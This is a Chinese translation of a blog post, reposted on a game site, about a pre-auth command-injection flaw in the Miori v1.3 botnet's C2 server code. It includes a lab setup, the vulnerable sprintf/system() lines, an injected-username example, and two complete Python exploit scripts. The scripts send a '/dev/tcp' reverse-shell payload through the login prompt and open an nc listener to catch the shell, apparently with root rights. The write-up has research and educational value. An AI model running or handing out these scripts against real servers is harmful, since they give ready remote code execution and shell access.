脚本小子的噩梦:看我如何黑掉僵尸网络

脚本小子的噩梦:看我如何黑掉僵尸网络

首页休闲益智僵尸小子大冒险更新时间:2024-04-29

0x00 前言

本文将分享如何攻破一些代码存在漏洞的僵尸网络,这些僵尸网络的操作者通常为脚本小子。

此前我并未接触过这些黑产,因此对鼎鼎大名的DoS社区(译者注:僵尸网络通常被用于发动大规模DoS攻击以谋利)知之甚少。最近因为写这篇文章而收集了一些信息。根据我的理解,主要有两个僵尸网络分别为:Qbot和Mirai,并且它们不断地被改进而出现了大量变种。根据调查,我发现某些人似乎想要对僵尸网络进行”升级“,添加更多功能例如登入失败后重试,新型的DoS方法和暴力破解。这些将成为僵尸网络的”卖点“(这意味着普通人只要有钱,就可以利用肉鸡做某些事情),有时候黑产从业者也会直接出售这些肉鸡。

0x01 概述

目前,大部分僵尸网络工具都使用C语言编写的,C语言强大而危险,如果它们是由没有安全意识的程序员编写,则可能会铸成大错 – 我们接下来将会介绍。 只要学过二进制开发的人,都知道这个语言中的一个小错误也可能会导致巨大的漏洞,例如不规范地调用printf()和错误计算缓冲区的内存分配。 在本文,我只会分享我在Qbot僵尸网络中发现的三个漏洞中的一个,并且但这个漏洞严重性最高。 如果你觉得我很小气,那你可能就属于下图中的人?

I’m sorry,开个玩笑。我不想跟小孩子争吵,毕竟小孩子总是可以在海量服务器中弹出shell。

我在Miori v1.3僵尸网络上发现了一个预认证(Pre-auth)远程代码执行漏洞,此漏洞正是由于不当的输入处理和错误的使用system()函数而导致。 我再次重申,这是一个预认证型的远程命令执行漏洞。 修改Qbot源码时,某些人成功犯下大错 – 也许下次他们应该只使用Python¯(ツ)/¯。

不管怎么说,如果我们利用此漏洞成功劫持服务器,那简直太丢人了 :)。

0x02 环境搭建

攻击者僵尸网络服务器系统Linux Mint 64 bitCentOS 7 Minimal 64bitIP地址10.10.10.710.10.10.6端口X666应用XMiori v1.3

下载地址

-> Linux Mint ISO

-> CentOS 7 ISO

-> Miori v1.3

Miori v1.3僵尸网络安装教程:

-> Switch Miori Botnet setup

注:安装脚本要使用yum来下载,因此这个僵尸网络服务器必须基于RedHat系统。

注:CentOS系统默认启用了防火墙。 如果无法连接如666之类的端口,可以通过“systemctl stop firewalld”将防火墙关闭,“systemctl disable firewalld”将其完全禁用。

0x03 代码

解压.zip压缩包:

对于我们来说有用的文件是cnc/cnc.c。 该文件中包含了僵尸网络“操作者”所需的主要功能,有登录,注册以及攻击等功能。具体参考下面这些图片。

登入和注册界面:

通过验证(Post-auth)后的界面:

从整体来看,该工具的UI界面实际上相当不错,肯定有人在上面花了很多时间。 但是他们没有在主代码上花费精力。 可以这样说,这是非常残酷的。 多个超大的char缓冲区,42个returns和3个exits…,可怕的缩进,标签和空格混合使用,76个goto语句(已经9012年了……真有这种事?)。在将来,代码中的漏洞也不会完全消失。 我猜测,如果开发者的主要目标制作一个看起来很酷的UI来赚钱,而不是制作代码美观和可靠的东西时,则会发生这种情况。 来看看代码是什么样的,请点击下图放大查看。

0x04 发现漏洞

其实在整个挖掘过程,我仔细查看了cnc.c中的代码,这令我我感到非常折磨。 在793和794行中,很容易就可以看出漏洞。

792 | char flog[1024]; 793 | sprintf(flog,"echo "<--->nfailed login with cred --> %s:%s n[victems ip] nip --> %s n<--->" >> failed.txt",iffailedu,iffailedp,ipl); 794 | system(flog);

你看,这家伙使用iffaileduiffailedp代表登入失败的用户名和密码。 这表示登入失败后仍可以不断尝试。 这个想法还可以,但实施起来漏洞百出。 开发者使用了system()函数代替C的文件I/O函数。 为什么?答案很简单:

引用Subby的一句话:

其实很容易可以知道为什么会这样?很大一部分僵尸网络操作者都是从社区教程中学习,或者看看YouTube上的僵尸网络视频。

通常情况下上述中问题可能会导致缓冲区溢出,因为flog分配了1024个字节,但iffaileduiffailedp最多可达2048个字节。 并且都是基于第637行的buf变量和下面的strcpy()方法。 然而,更有趣的漏洞在后头。

0x05 Exploitation

转义system()函数中调用的echo命令,可以进行命令盲注。 这里我只使用username来简化攻击场景。

char data[1024]; sprintf(data,"echo "Failed login with username %sn" >> failed.txt",username); system(data);

如果用户使用不存在的用户名登入(例如jack),系统会自动执行echo“Failed login with username jack”>> failed.txt。

入侵者可以通过往用户名(或密码)中插入恶意字符,从而达到命令执行的目的。 例如输入:v3ded"; touch /tmp/hacked; #. 系统则会运行命令echo "Failed login with username v3ded"; touch /tmp/hacked; #" >> failed.txt。 在linux bash中,#作为注释使用可以注释掉其余的命令。 因此入侵者的命令不会被记录到failed.txt。SSH连接服务器,可以看到tmp目录下确实被写入了新文件。

操作者视角:

这个错误的日志记录应当警醒脚本小子们,但考虑到缺乏技术知识,我有点怀疑他们是否理解此漏洞。让我们继续,下面我讲分享使用clear命令来隐藏错误日志。

0x06 Python shell

让我们首先提供所需库,确定套接字(socket),然后将其与我们服务器端口连接。

import socket import os import sys from time import sleep if(len(sys.argv) != 5): exit("Usage:ntpython3 {} C2_IP C2_PORT LHOST LPORT".format(sys.argv[0])) C2_IP = sys.argv[1] C2_PORT = sys.argv[2] LHOST = sys.argv[3] LPORT = sys.argv[4] sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((C2_IP, int(C2_PORT))) Afterwards we need to simulate the login process. We can do that by simply sending 3 messages to the server - login, username payload and password respectively. CMD = "sh -i >& /dev/tcp/{}/{} 0>&1".format(LHOST, LPORT) # Payload print("Simulating a login command.") sock.send(bytes("loginrn", "utf-8")) sleep(1) print("Sending the payload.") sock.send(bytes('user";clear; {} ;# rn'.format(CMD),"utf-8")) # Hiding the error output with ;clear sock.send(bytes('Press F to pay respects.rn',"utf-8")) # Password doesn't matter sleep(1)

可以看到,bash/dev/tcp/结合可以构造反向shell。 可以看到每个命令都会发送包含回车符(r)和换行符(n)。 重要的一点,如果没有结合CRLF(回车换行),则无法利用漏洞。

注意:CentOS没有自带netcat。 如果要使用shell或下载数据,需要安装它。

#!/usr/env/python3 import socket import os import sys import threading from time import sleep def Listen(port): os.system("nc -nlvp {}".format(port)) if(len(sys.argv) != 5): exit("Usage:ntpython3 {} C2_IP C2_PORT LHOST LPORT".format(sys.argv[0])) C2_IP = sys.argv[1] C2_PORT = sys.argv[2] LHOST = sys.argv[3] LPORT = sys.argv[4] CMD = "sh -i >& /dev/tcp/{}/{} 0>&1".format(LHOST, LPORT) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((C2_IP, int(C2_PORT))) print("Simulating a login command.") sock.send(bytes("loginrn", "utf-8")) sleep(1) print("Sending the payload.") sock.send(bytes('user";clear; {} ;# rn'.format(CMD),"utf-8")) sock.send(bytes('Press F to pay respects.rn',"utf-8")) sleep(1) t = threading.Thread(target=Listen, args=(int(sys.argv[4]),)) t.start() except Exception as err: exit(str(err))

Ok,现在我们可以尝试攻击僵尸网络,如果成功则会有以下画面:

很酷是吧? 如果操作者在恰当端口上正确配置,那僵尸网络的运行身份不会是root。 但是,由于各种服务提供商都默认使用root用户,并且我们的脚本小子们只会复制粘贴不知道他们在做什么的情况下,我打赌你那到的shell大多数都是root权限。

0x07 后记

当我写这篇博客时,又一个名为switchware的Qbot变种发布了。我没有深入研究代码,但发现了后认证(post-auth)RCE漏洞。 这个漏洞利用起来有些麻烦,因为缓冲区限制50个字节,但已利用45个字节。 如果本文热度还可以,我会再写一篇文章分享它: )。你可以尝试把它当作一次训练,攻破它。 存在漏洞代码在第557,558和566行。

Poc:

0x08 参考

Miori src: here

Miori exploit: here

Switchware src: here

Switchware exploit: N/A

查看全文
大家还看了
也许喜欢
更多游戏

Copyright © 2024 妖气游戏网 www.17u1u.com All Rights Reserved